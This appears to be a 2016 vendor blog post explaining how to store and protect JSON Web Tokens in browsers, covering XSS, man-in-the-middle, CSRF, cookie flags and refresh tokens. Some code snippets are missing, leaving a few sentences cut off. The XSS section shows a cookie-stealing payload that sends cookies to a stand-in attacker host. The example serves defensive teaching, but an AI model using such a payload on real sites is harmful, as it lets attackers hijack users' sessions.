Update 5/12/2016: JJWT is a Java library providing end-to-end JWT creation and verification, developed by our very own Les Hazlewood. Forever free and open-source (Apache License, Version 2.0), JJWT is simple to use and understand. We’d love to have you try it out, and let us know what you think! (And, if you’re a Node developer, check out NJWT!)
JSON Web Tokens (JWTs) are being prescribed as a panacea for webapp security, but you need to know your security basics before you can implement them with peace of mind. JWTs are a great mechanism for persisting authentication information in a verifiable and stateless way, but that token still needs to be stored somewhere.
This article will explain the security loopholes in web browsers, and what you can do about them – keeping your JWTs safe and secure.
If you’re writing a UI that runs inside of a browser environment, you need to know the potential security issues. We’ll cover these primary areas of security in our article:
- Securing user credentials (i.e. passwords)
- Preventing malicious code from running in your webapp
- Using cookies, securely!
To start, if you’re unfamiliar with how JSON Web Tokens work and want an introduction, check out my article on Token-Based Authentication for Single Page Apps and Tom Abbott’s article on how to Use JWT The Right Way for a great introduction.
Login forms are one of the most common attack vectors. We want the user to give us a username and password, so we know who they are and what they have access to. We want to remember who the user is, allowing them to use the UI without having to present those credentials a second time. And we want to do all that securely. How can JWTs help?
The traditional solution is to put a session cookie in the user’s browser. This cookie contains an identifier that references a “session” in your server, a place in your database where the server remembers who this user is.
This strategy is secure, if the following conditions are met:
- You implement HTTPS on your server, and the login form is posted over this secure channel.
- You store the session ID in a secure, HTTPS-only cookie that can only be sent to your server over secure channels.
However there are some drawbacks to session identifiers:
- They’re stateful. Your server has to remember that ID and look it up for every request. This can become a burden on large systems.
- They’re opaque. They have no meaning to your client or your server. Your client doesn’t know what it’s allowed to access, and your server has to go to a database to figure out who this session is for and if they are allowed to perform the requested operation.
- They’re in a silo. They only have meaning within your system, and cannot be used to share authentication assertions with other services and APIs.
JWTs address all of these concerns by being a self-contained, signed, and stateless authentication assertion that can be shared amongst services with a common data format. We’ll come back to JWTs after we discuss the other browser security issues.
Web browsers are great because they can do many things and incorporate resources from many websites. But this is also their downfall! It’s incredibly easy for someone to inject malicious code into your site.
For example, If you provide a chat box on your website that allows me to put whatever I want in it (it doesn’t “escape” the content) then I can put this code in it:
<img src="x" /> a.src='https://hackmeplz.com/yourCookies.png/?cookies=’
With that code, I’ve just stolen all the cookies for your domain and sent them to hackmeplz.com! (For more XSS demos, see Introduction to cross-site scripting) at Google.
How do you prevent this? There are a few things you need to do:
- Escape Content. This means removing any executable code that would cause the browser to do something you don’t want it to. Typically this means removing
Use HTTPS-Only Cookies. In my example, I showed you how I could steal cookies with an XSS attack. One way to prevent this is to set the
Cookies have a bad reputation because they track us on the internet and are easy to steal, but the reality is that they CAN be used as a secure storage area for authentication information (such as JWTs). Let’s talk about how cookies can be compromised, and how to solve the problem. This is important to understand before we consider using cookies as a place to store JWTs.
In this type of attack, someone is “listening” to the traffic between the browser and the server. The most common MITM happens at Internet cafes, by listening to the WiFi. More malicious forms are malware and hijacked proxy servers.
The solution is to use HTTPS on your site, and use the
Secure flags on your cookies to ensure that the cookies are not sent “in the clear”. If you have a distributed infrastructure, also use HTTPS between any services which convey sensitive information like cookies. The cloud is NOT inherently secure.
This type of attack is taking advantage of a simple fact about web browsers: simple GET requests, like loading an image, do NOT follow the Same Origin Policy. For example, let’s say you have a URL like this on your website:
This URL lets your browser application make one-click purchases of expensive items. How can I exploit this URL? Let’s say I trick your user into visiting a website which has this image tag on it:
When the browser sees that image tag, it will make a GET request for that URL. When it does this it will send the cookies for your domain! If your server blindly believes the session cookies, it has no idea that this request is malicious and will submit an order for 5000 quadcopters!
- You use
HttpOnly; Securefor the session cookie.
- You create another
xsrf-tokencookie, and store a random value in it. (This cookie does NOT have the
- When your Angular application tries to submit one-click orders, it reads the
xsrf-tokencookie and sends it to the serer via a GET parameter or a custom HTTP header.
- Your server verifies that the
xsrf-tokenis associated with the user’s session.
How does this prevent the attacker? Because the attacker, on another domain, cannot read the cookies from your domain, they won’t be able to get the value of the
xsrf-token, and won’t ever be able to send it. Because they can’t send the value, the server will never be able to validate the request.
JWTs are self-contained strings signed with a secret key. They contain a set of claims that assert an identity and a scope of access. They can be stored in cookies, but all those rules still apply. In fact, JWTs can replace your opaque session identifier, so it’s a complete win.
If you encounter a JWT in the wild, it will look like this:
Hmm… looks like an opaque session ID, you say? Well, that’s just how it looks! In fact it’s a three-part string, separated by periods. If you base 64 decode each part, you get the three parts of a JWT:
The header is telling us how this token was signed. All JWTs should be signed with a private signing key. When a JWT is used for authentication, your server must verify that the token has been signed with the server’s private key. Otherwise, someone could create an arbitrary JWT that would be trusted by your system.
"scope": "self api/buy"
The claims body is where the JWT really shines. It tells us:
- Who the user is (
- Who issued this token (
- When it expires (
- What this user can do (
Because we’ve signed this token, we can trust this information (after verifying the signature!). With this trust, our sever can get on with the task of resolving the request accordingly – no need to hit your database for all this information!
This is the hash that was created by the signing algorithm, you will use this (with your secret key) to verity that the token was issued by your service.
Remember! You need to implement CSRF prevention as well
Don’t use use Local Storage, it has a very different (and more liberal) SOP than cookies do, and is always vulnerable to XSS attacks because it’s a JavasScript API. I suggest reading the HTML5 Security Cheat Sheet for a detailed discussion of Local Storage.
You may be wondering: what if my browser application needs to read the access token, because it wants to use the information in the token?
An alternative is to send a customized JSON response down to the browser, on successful login. This JSON response can be the claims body of the token, omitting the header and signature. The browser can cache this information in cookies or local storage, and use it to make UI rendering decisions. Because the signature is not stored locally, a malicious script could never use the claims body to forge a request.
How long can this token be trusted? How do you know if it’s been stolen during a MITM attack? These are the challenges posed by JWTs.
Refresh tokens are the typical solution. In this situation, you provide a short lived access token, and a longer lived token used to get more shorter-lived tokens. Both of these can be JWTs, though the claims bodies will look different. This gives you some control over how often you re-hit your authentication database to assert that the user is still allowed to have tokens.
If you need high security, you can add a unique value to every access token, using the
jti field in the claims body. You can then maintain a blacklist of tokens that you know have been compromised. You can purge your blacklist of tokens as they expire.
JWTs are a modern solution to an old problem: how to I know who this user is? They help us by being signed and stateless, and by having a common data format. They don’t help us secure our browser applications, that’s your responsibility.
Stormpath offers a number of resources to help you use JWTs securely:
- Read more about Where to Store Your JWTs – Cookies vs HTML5
- Create and Store JWTs in Java Applications using our JJWT library
- Our Guide to Mobile API Security
And if you’re interested in not building any of this yourself, get started with our AngularJS Guide.
Let me your thoughts in the comments below, or reach out to our support team with questions about your Stormpath integration: [email protected].